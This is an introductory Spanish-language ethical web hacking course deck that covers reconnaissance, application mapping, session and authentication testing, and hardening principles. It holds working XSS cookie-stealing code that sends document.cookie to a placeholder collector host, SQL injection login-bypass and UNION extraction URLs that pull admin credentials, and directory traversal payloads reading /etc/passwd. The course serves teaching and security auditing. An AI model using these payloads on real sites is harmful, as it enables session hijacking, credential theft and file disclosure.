Hacking Ético Web

Hacking Ético Web
[ Iniciación ]
Eduardo Arriols Nuñez
eduardo.arriols@live.u-tad.com

Antes de nada…
¿Conocimientos en aplicación web?
¿Desarrolladores de aplicaciones web?
¿Conocimientos en seguridad?
¿Vuestro objetivo?

Índice
1. Introducción
2. Obtención de información
3. Mapeo y análisis
4. Pruebas en la aplicación
5. Ataques web
6. Principios para la fortificación

Introducción
Seguridad en aplicación web
Desde hace años, las aplicaciones web han evolucionado enormemente,
siendo actualmente usadas a diario por la mayoría de personas con acceso a
Internet.
Esta rápida evolución también ha dado lugar a la aparición de gran cantidad
de ataques y riesgos en dichas aplicaciones, que cada vez mantienen y
gestionan mas datos críticos (bancarios, sanitarios, etc.)
La evolución sigue siendo inminente con IoT, smartphones, etc. Esto implica
una necesidad de implementar medidas de seguridad tanto defensivas como
ofensivas.
“Si conoces al enemigo y te conoces a ti
mismo, ni en cien batallas correrás peligro”

Introducción
Seguridad en aplicación web

Introducción
El gran problema
Los principales factores que provocan esta situación son lo siguientes:
 Falta de conocimientos en seguridad de los desarrolladores
 Producción personalizada
 Simplicidad en las aplicaciones
 Rápida evolución de los peligros
 Presupuesto y tiempo reducidos
 Adaptación de las tecnologías
 Incremento de la funcionalidad
 Falta de concienciación en materia de seguridad

Introducción
Objetivos del curso
Los principales objetivos son los siguientes:
1. Conocimiento de los principales riesgos y amenazas.
2. Conocimiento y aplicación de metodologías de auditoria.
3. Conocer, descubrir y explotar las principales vulnerabilidades.
4. Realizar sencillas auditorias de seguridad en aplicaciones web.
Al ser un curso de iniciación, no se pretende que el alumno salga con amplios
conocimientos en seguridad de aplicaciones web, pero si con una base
suficiente para comenzar a investigar y desarrollar pruebas por cuenta
propia.

Introducción
Metodologías de prueba
OWASP (Open Web Application Security Project) es un proyecto abierto,
dedicado principalmente al estudio de vulnerabilidades en aplicaciones web.
La Guía OWASP es una metodología ampliamente reconocida para realizar
pruebas y auditorias de seguridad sobre aplicaciones web. Dicha guía expone
cada prueba que debe ser realizada, el modo de realizarlo y las posibles
herramientas que pueden ser utilizadas.
Además el proyecto desarrolla otras herramientas como WebScarab,
WebGoat, etc.

Introducción
Herramientas imprescindibles: Mantra
Mantra es un navegador especialmente diseñado a partir de Firefox/Chrome
para el análisis de seguridad web que trae implementados gran cantidad de
plugins de auditoria.
Algunas de sus funciones son:
 Manipular las cabeceras HTTP
 Fingerprinting de aplicaciones web
 Interceptar las peticiones GET / POST
 Manipular campos de entrada de texto (strings)
 Editar cookies del navegador
 Capacidad para trabajar con diferentes Proxy
 Modificación de cabeceras HTTP
 Capacidad de realizar comprobaciones de Seguridad básicas (XSS, SQL)
 …

Introducción
Herramientas imprescindibles: BurpSuite
Es uno de los proxys HTTP mas conocidos. Tiene una gran comunidad que va
desarrollando funcionalidades y plugins.
Algunas de sus funcionalidades son:
 Interceptar comunicaciones HTTP / HTTPS
 Manipular cualquier tipo de paquete y cabecera HTTP
 Escáner de vulnerabilidades integrado
 Realizar spidering sobre las aplicaciones web
 Permite interceptar comunicaciones en cualquier tipo de dispositivo
 Modulo “intruder” para realizar ataques de fuerza bruta
 …

Obtención de información
Google Hacking
Las técnicas de ‘Google Hacking’ se basan en obtener información mediante
búsquedas realizadas a través de comandos de búsqueda avanzados. El
objetivo es obtener información sobre la aplicación, tecnologías utilizadas,
etc.
Los principales comandos son:
 site  Búsqueda por dominio / subdominio
 intitle / allintitle  Búsqueda en el titulo
 inurl / allinurl  Búsqueda en la URL
 intext / allintext  Búsqueda en el texto
 filetype / ext  Tipo de fichero / extensión
 ‘||’ / ‘&&’  OR / AND lógico
 ‘-’  Negación
También es posible realizar estas búsquedas en otros buscadores como Bing
o Yahoo.

Google Hacking (Ejemplos)

Google Hacking Database (GHDB)
La Google Hacking DataBase (GHDB) es un proyecto donde la gente comparte
sus ‘dorks’ personalizados, nombre que se le da a las búsquedas avanzas que
hacen uso de operadores para conseguir una determinada información.
http://www.exploit-db.com/google-dorks/
http://www.hackersforcharity.org/ghdb/

Netcraft
Es una compañía de servicios de Internet que pone a disposición de cualquier
un análisis genérico de gran cantidad de aplicaciones web. Esto nos permite
obtener por ejemplo, el dominio en el que se encuentra la dirección IP, el tipo
de OS, la versión de servidores web, etc.

Otras herramientas
Robtex.com
Aplicación que permite obtener gran cantidad de información sobre una
determinada dirección IP como sus resoluciones DNS inversas (vecinos),
servidores de correo de la compañía, etc.
Archive.org
Aplicación que permite navegar por versiones antiguas de la aplicación
objetivo. Esto es posible gracias a que Archive.org se mantiene de forma
constante indexando y guardando todas las versiones de las aplicaciones por
las que pasa.

Mapeo y análisis
Detección de contenido
Las pruebas de detección de contenido tienen como objetivo:
 Identificar funcionalidades de prueba / antiguas que puedan contener
información o vulnerabilidades.
 Detectar archivos ocultos como backups, volcados SQL, etc.
 Detectar paneles de administración accesibles.
Para ello es posible seguir diferentes aproximaciones:
 Manual: Navegación manual por la aplicación mediante el uso de proxy.
 Spider: Navegación automática por las paginas indexables de la aplicación web.
 Crawler: Uso fuerza bruta para detectar contenido no indexable pero existente.
Herramientas:
 BurpSuite
 Dirbuster

Mapeo y análisis
Métodos HTTP
Existen métodos HTTP que pueden encontrarse habilitados en el servidor que
son considerados inseguros como “PUT” o “DELETE”, que permiten subir o
eliminar un fichero del sistema.
Los métodos HTTP implementados por el servidor pueden ser:
 Genéricos para toda la aplicación
 Específicos por directorio / recurso
Herramientas:
 Netcat
 BurpSuite
 Cadaver

Mapeo y análisis
Detección de funcionalidades e inputs
Es necesario conocer y tener identificadas todas las funcionalidades
existentes en la aplicación, así como sus inputs. Esto nos permitirá
posteriormente planificar las pruebas y posibles ataques a realizar sobre la
aplicación.
También es necesario identificar si las funcionalidades son multi-estado o
necesitan datos de otro recurso de la aplicación. En tal caso, es necesario
detectar cuales son los datos que requiere la funcionalidad.

Mapeo y análisis
Identificación de tecnologías
Conocer la tecnología existente en un sistema, servidor, tecnología o CMS
permitirá acotar los posibles ataques a realizar sobre un objetivo.
No es lo mismo realizar un ataque contra un “Linux, con servidor web
Apache, que utilice PHP y MySQL” que contra un “Windows 2012, con
servidor web IIS7,5, que utilice ASP y MSSQL”.
Las practicas de detección mas comunes son:
 Mediante cabeceras HTTP
 Mediante errores (En la aplicación y sistema)
 Mediante extensiones de ficheros
 Direcciones URL
 Paneles de autenticación
 …

Mapeo y análisis
Detección de sistemas de seguridad (WAF)
Para poder afinar lo máximo posible los ataques y pruebas a realizar es
importante identificar si existen sistemas de seguridad protegiendo la
aplicación web.
Uno de los sistemas de seguridad mas comunes son los WAF (Web
Application Firewall), los cuales inspeccionan todo el trafico HTTP / HTTPS en
busca de patrones que les permitan detectar posibles ataques.
Si nuestra aplicación objetivo se encuentra detrás de un WAF deberemos
utilizar técnicas de evasión, realizando ataques mas complejos mediante la
ofuscación de los ataques. Algunos ejemplos:
 URL Encode
 Pruebas contra listas negras
 …

Pruebas en la aplicación
Pruebas en el cliente
Para saber los datos que espera el servidor, no sirve únicamente con
enumerar los inputs de la aplicación. Es necesario revisar los datos enviados
por el cliente al servidor ya que la aplicación puede ser vulnerable también
en las cabeceras HTTP, Cookies, parámetros ocultos, etc.
Las principales acciones ha realizar son:
 Comprobar el envío de datos: Identificar todos aquellos parámetros enviados
por el cliente y la interacción que tienen con el servidor según los valores
enviado.
 Detectar controles realizados desde el cliente: Identificar los controles de
seguridad que se estén utilizando en el lado del cliente. Un ejemplo común es
utilizar funciones Javascript

Paneles de autenticación
Los paneles de autenticación son una de las principales puertas de entrada a
las aplicaciones web, por lo que se suelen realizar bastantes esfuerzon para
vulnerarlos y lograr acceso.
Algunas de las acciones típicas que son realizadas son las siguientes:
 Credenciales por defecto: Muchos servidores de aplicaciones y CMS traen
usuarios por defecto. Estos usuarios en ocasiones no son modificados por los
administradores, lo cual puede permitir acceso a la aplicación.
 Enumeración de usuarios: La aplicación genera códigos de error diferentes en
caso de que un usuario exista o no, permitiendo la detección de usuarios
validos.
 Fuerza bruta: En caso de tener un usuario valido es posible realizar pruebas de
fuerza bruta con el objetivo de detectar unas credenciales de acceso validas y
fácilmente adivinables.

Gestión de sesiones
Otro punto débil en muchas aplicaciones es su manera de manejar las
sesiones. Normalmente las sesiones se mantienen mediante cookies que al
encontrarse en el navegador del cliente pueden ser fácilmente modificadas.
Nuestro objetivo en este caso es lograr modificar nuestros permisos, acceder
a la aplicación sin habernos autenticado, etc. Las principales pruebas ha
realizar son:
 Entender la funcionalidad: Entender el funcionamiento de la gestión de sesiones
en la aplicación objetivo.
 Verificación de tokens/cookies: Lograr modificar las cookies a nuestro antojo
para realizar una determinada acción.
 Fijación de sesión: Esta vulnerabilidad se produce cuando el servidor no
comprueba si el token utilizado por el cliente para validarse ha sido
anteriormente autorizado por el servidor, permitiendo utilizar múltiples veces el
mismo token de sesión.

Esta vulnerabilidad es critica en caso de poder inicializar de forma remota el
token de sesión que usara el cliente de la aplicación.
Fijación de sesión

Cross-Site Request Forgery (CSRF)
Esta vulnerabilidad se produce cuando una aplicación web permite realizar
una determinada acción directamente mediante una petición. Esto se debe a
que el servidor no verifica que el usuario haya realizado las peticiones
anteriores necesarias.

Elevación de privilegios
Una vez tenemos acceso a la aplicación, es necesario comprobar si el sistema
de autorización es o no robusto. El objetivo es detectar funcionalidades que
no se encuentre correctamente aseguradas y puedan permitir una elevación
de privilegios lateral o vertical.
Identificar funcionalidad de usuario / administrador (Vertical). Ejemplo:
http:/facebook.com/user/index.php?id_user=31
http:/facebook.com/admin/index.php
Identificar funcionalidad de usuario / usuario (Lateral). Ejemplo:

Lógica de la aplicación
La mayor vulnerabilidad en una aplicación web puede deberse a la falta de
pruebas de lógica realizadas por un programador. En este caso, el objetivo es
detectar comportamientos que no hayan sido planteados por los
desarolladores y que permitan realizar acciones potencialmente peligrosas.
Ejemplos:
Saltar a diferentes etapas en un proceso multi-etapa (Compra online): Saltarse
la etapa de ‘pago’ y obtener el producto gratis.
Modificar los valores de entrada por valores que no tengan ‘sentido’:
Transferencia de -1000 euros permite que el ‘beneficiario’ nos ingrese dinero.
Este tipo de pruebas dependen en gran medida de la experiencia del auditor
y de su imaginación.

Ataques web
Cross-Site Scripting
Cross Site Scripting (XSS) es una de las vulnerabilidad más explotadas según la
OWASP. En ella, se manipula la entrada (input) de parámetros de una
aplicación con el objetivo de obtener una salida (output) determinada que
contenga el código introducido en el input como HTML / Javascript. De esta
forma se puede forzar al cliente a ejecutar el código deseado.
Este tipo de vulnerabilidades se denominan del lado del cliente, ya que
aunque la vulnerabilidad se encuentra en el servidor, el objetivo del ataque
es el cliente.
Algunas estadísticas afirman que el 60-70% de todos los sitios web son
vulnerables a ataques de XSS.

Ataques web
Existen diferentes tipo que de forma general se pueden agrupar en:
 XSS Reflejados: Cuando el código modificado se elimina al cargar de nuevo la
pagina, debido a que se basa en parámetros de la URL (normalmente).
 XSS Persistentes: Cuando el código modificado se almacena en la web.
Las maneras mas comunes de descubrir este tipo de ataques son:
 Viendo el código fuente de la aplicación.
 Analizando las peticiones enviadas e identificando si los datos son reutilizados
en las paginas de respuesta.
En muchos casos las aplicaciones web realizan débiles filtrados de seguridad
que pueden ser fácilmente evadidos. Para mas información:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://html5sec.org/

Ataques web
XSS - Robo de cookies
Haciendo uso de ataques XSS es posible realizar el robo de sesión de un
usuario. Para ello primero debemos subir un fichero (cookies.php) con el
siguiente código a algún servidor bajo nuestro control:
<?php
$handle=fopen("cookies_list.txt","a");
fputs($handle,"n".$_GET["cookie"]."n");
fclose($handle);
?>
Una vez subido, forzamos al cliente a enviarnos sus cookies insertando el
siguiente código Javascript en el XSS:
<script> var i=new Image();i.src =
"http://dominio/cookies.php?cookie="%2bdocument.cookie; </script>

Ataques web
Aunque únicamente hemos visto los dos tipos principales de XSS, existen
otros muchos tipos como:
 DOM Cross Site Scripting (DOM XSS)
 Cross Site Flashing (XSF)
 Cross Site Request/Reference Forgery (CSRF)
 Cross Frame Scripting (XFS)
 Cross Zone Scripting (XZS)
 Cross Agent Scripting (XAS)
 Cross Referer Scripting (XRS)
 Denial of Service (XSSDoS)
 Otros…

Ataques web
SQL Injection
El ataque SQL Injection se basa en insertar sentencias SQL arbitrarias dentro
de una consulta previamente establecida por la aplicación, con el objetivo de
manipular la información obtenida de la base de datos SQL.
Esta vulnerabilidad aparece en aquellos inputs que son utilizados para
generar de forma dinámica las consultas SQL, donde además los parámetros
de entrada no se encuentren correctamente filtrados.
Este tipo de ataques permiten al atacante:
 Saltar restricciones de acceso.
 Elevación de privilegios.
 Extracción de información de la Base de Datos.
 Ejecución de comandos en contexto usuario BD dentro del servidor.
 Ejecución de comandos en el servidor.
Al igual que en la mayoría de ataques web, es posible realizar este tipo de
ataque en cualquier parámetro que forme parte de una consulta (GET, POST,
Cabeceras HTTP, Cookies, etc)

Ataques web
SQL Injection
En la mayoría de casos, las consultas SQL que buscan obtener información de
la base de datos tendrán una estructura similar a la siguiente:
SELECT [Columnas] FROM [DB].[Tabla] WHERE [Condiciones]
Durante la ejecución de ataques SQL Injection utilizaremos principalmente la
clausula UNION, que nos permite unir dos sentencias. IMPORTANTE: La
clausula UNION necesita que ambas consultas tengan el mismo numero de
columnas. Un ejemplo de consulta:
SELECT idNoticia,textoNoticia FROM noticias WHERE idNoticia=1
UNION
SELECT usuario,password FROM usuarios
Buscaremos negar la consulta legitima y hacer que únicamente se ejecute
nuestra consulta.

Ataques web
SQL Injection
Cada gestor de bases de datos tiene una serie de tablas especiales que se
crean con la instalación y son completamente necesarias para el correcto
funcionamiento de la aplicación.
Estas tablas se intentan usar siempre que se realiza un SQL Injection ya que
nos pueden proporcionar mucha información como por ejemplo…
 Bases de datos
 Tablas que hay en una base de datos
 Columnas de cada tabla
 Información sobre usuarios
 …

Ataques web
SQL Injection – Bypass de un login
La mayoría de aplicación web, cuando se realiza un proceso de autenticación,
realmente se esta realizando una consulta SQL dinámica con los datos
introducidos por el usuario. La consulta seria similar a la siguiente:
SELECT usuario FROM usuarios WHERE usuario=‘admin’ AND password=‘test’;
Los parámetros ‘usuario’ y ‘password’ son introducidas por el usuario. Si la
consulta es vacía (no devuelve resultados) no permitirá el acceso, pero en
caso contrario sí, dando igual que haya uno o mas registros.
En este tipo de ataques, nuestro objetivo es modificar la consulta realizada
para que la consulta siempre sea valida y nos permita acceso. Un simple
ejemplo de bypass seria el siguiente:
SELECT usuario FROM usuarios WHERE usuario=‘’ OR ‘1’=‘1’ AND password=‘’ OR ‘1’=‘1’
De esta forma, ambas condiciones son verdaderas y permitiría acceso como
usuario administrador.

Ataques web
SQL Injection – Mediante UNION
Como vimos anteriormente, mediante la clausula UNION es posible unir dos
consultas donde se buscara negar la consulta legitima y que únicamente
saque resultados la consulta introducida por el atacante.
Vamos a trabajar con el siguiente ejemplo:
http://dominio/noticias.php?id=1
El cual realizaría la siguiente consulta interna:
SELECT titulo, noticia FROM noticias WHERE noticia_id=1
Lo primero que debemos hacer es verificar si es o no vulnerable intentando
provocar errores en la aplicación introduciendo ‘ o caracteres extraños, o
mediante las condiciones AND y OR. Un ejemplo podría ser:
Petición: http://dominio/noticias.php?id=1 AND 1=0
Consulta: SELECT titulo, noticia FROM noticias WHERE noticia_id=1 AND 1=0

Ataques web
Una vez se ha conseguido encontrar que la aplicación es vulnerable a SQL
Injection, los pasos que deberemos seguir serán los siguientes:
 Detectar el numero de columnas de la consulta legitima
 Recopilación de información sobre usuarios y versiones
 Obtención de bases de datos
 Obtención de tablas de la base de datos
 Obtención de columnas de las tablas que nos interesen
 Realizar las consultas personalizadas de las columnas y tablas que nos interesen
Detectar el numero de columnas de la consulta legitima:
Tras dejar la consulta legitima vacía debemos enumerar el numero de
columnas que tiene. Una de las formas mas comunes de hacerlo es de la
siguiente manera:
http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1
http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1,2
http://dominio/noticias.php?id=1 AND 1=0 UNION SELECT 1,2,3
…

Ataques web
Recopilación de información sobre usuarios y versiones:
Una vez obtenido el numero de columnas, debemos detectar cual de ellas
permite obtener información que será mostrada en pantalla. Tras hacerlo
deberemos utilizar dicha columna para obtener los siguientes datos:
 Usuario que ejecuta las consultas en la aplicación: user()
 Base de datos usada actualmente: database()
 Versión del gestor SQL: @@version
 Ruta donde se encuentra instalado el gestor SQL: @@datadir
En caso de que haya varios parámetros donde sacar información podemos
usarlos a la vez, por ejemplo:
http://dominio/noticias.php?id=1+and+1=0+union+select+1,2,user(),database(),5
http://dominio/noticias.php?id=1+and+1=0+union+select+1,2,@@version,@@datadir,5

Ataques web
Obtención de bases de datos
Para la obtención de información sobre las bases de datos, tablas y columnas
utilizaremos (en el caso de MySQL) la tabla schemata de la base de datos
information_schema.
http://dominio/noticias.php?id=3 and 1=0 unión select 1, 2, schema_name, 4, 5 from
information_schema.schemata
En caso de que únicamente se muestre un resultado, deberemos concatenar
la columna schema_name para sacar los demás valores. Esto es posible
mediante la función ‘group_concat()’.
http://dominio/noticias.php?id=3 and 1=0 unión select 1, 2, group_concat(schema_name), 4,
5 from information_schema.schemata

Ataques web
Obtención de tablas de la base de datos
Siguiendo el mismo proceso, se consultara la tabla ‘tables’ de
‘information_schema’.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, table_name, 4, 5 from
information_schema.tables
Esto nos mostrara todas las tablas de la base de datos actual. En caso de
querer obtener únicamente las tablas de una determinada base de datos
podemos filtrar la consulta.
Obtención de columnas de la tabla que nos interesa
Siguiendo el mismo proceso, se consultara la tabla ‘columns’ de
‘information_schema’, indicando la tabla que nos interesa.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, column_name, 4, 5 from
information_schema.columns where table_name=“usuarios”

Ataques web
Es posible que la aplicación no permita los caracteres ‘ o “, lo cual nos impide
insertar una cadena de forma directa. En tal caso, podemos utilizar la función
CHAR(), indicándole el valor en decimal de cada carácter.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, group_concat(column_name), 4,
5 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 105,
115, 116, 114, 97, 116, 111, 114, 115)
Obtención de columnas de la tabla que nos interesa
Una vez conocemos la base de datos, tabla y columnas que nos interesa,
únicamente hay que realizar la consulta SQL de forma común.
http://dominio/noticias.php?id=3 and 1=0 union select 1, 2, user_name, user_password, 5
from administrators
Para optimizar la inyección es posible utilizar comandos como ‘limit’ o la
función ‘group_concat’.

Ataques web
SQL Injection
Aunque únicamente hemos visto los dos tipos principales de SQL Injection,
existen otros muchos tipos como:
 Bypass de un login mediante SQL Injection
 SQL Injection (Mediante UNION)
 Serialized SQL Injection
 Boolean-Base SQL Injection
 Time-Base SQL Injection
 Heavy-Queries SQL Injection
 Stack-Queries
 Ataques Avanzados mediante SQL Injection
 Ejecutar comandos
 Lectura de ficheros
 Escritura de ficheros
 De SQL Injection a RFI
 Troyanizando un servidor

Ataques web
File Inclusion (Remote & Local)
Las vulnerabilidades de File Inclusion nos permite cargar ficheros en o desde
el servidor, apoyándose en muchos casos en la vulnerabilidad Directory
Traversal.
Directory Traversal
Consiste en acceder a recursos del sistema que no son públicos mediante la
elevación o movimiento por el árbol de directorios. Se hace uso
principalmente de “../”. A continuación se muestran las principales formas de
explotar la vulnerabilidad:
http://www.example.com/?report=quarter1.txt
http://www.example.com/?report=../../../../../etc/passwd
http://www.example.com/?report=../../../../../etc/passwd%00.jpg
http://www.example.com/?report=../../../../../etc/passwd%0a.jpg
http://www.example.com/?imagen=/images/../../../../../../../etc/passwd

Ataques web
File Inclusion (Remote & Local)
Local File Inclusion
Permite incluir ficheros propios del servidor utilizando la técnica de Directory
Traversal para llegar al archivo buscado. Como tal es la capacidad de incluir
archivos en la respuesta del servidor. Este tipo de inclusión se suele realizar
con funciones como include:
<?php “include/”.include($_GET['for'].“.php”); ?>
Remote File Inclusion
Permite cargar ficheros externos al servidor en el propio servidor, obligándole
a ejecutar código ASP, JSP, etc. Es un vector poco común ya que permitiría de
forma directa ejecutar una webshell en el sistema.

Principios para la fortificación
Genéricos
Algunas de las opciones para fortificar aplicación web son:
 Filtrar todos los parámetros de entrada del usuario
 Principio del mínimo privilegio
 Cifrado de datos críticos
 Política de contraseñas robusta
 Bastionado del sistema y aplicación
 Realizar pruebas en la lógica de la aplicación
 Implementar medidas de seguridad contra fuerza bruta o escaneos
 Evitar publicar paneles de administración
 Implementar un correcto sistema de autorización y autenticación
 Implementar tokens únicos por petición
 Proporcionar un token de sesión único por cada nuevo usuario
 Evitar metodos HTTP inseguros
 …..

¿Preguntas?
Eduardo Arriols Nuñez
eduardo.arriols@live.u-tad.com

Hacking Ético Web

Más contenido relacionado

La actualidad más candente

Destacado

Similar a Hacking Ético Web

Más de Eduardo Arriols Nuñez

Último

Hacking Ético Web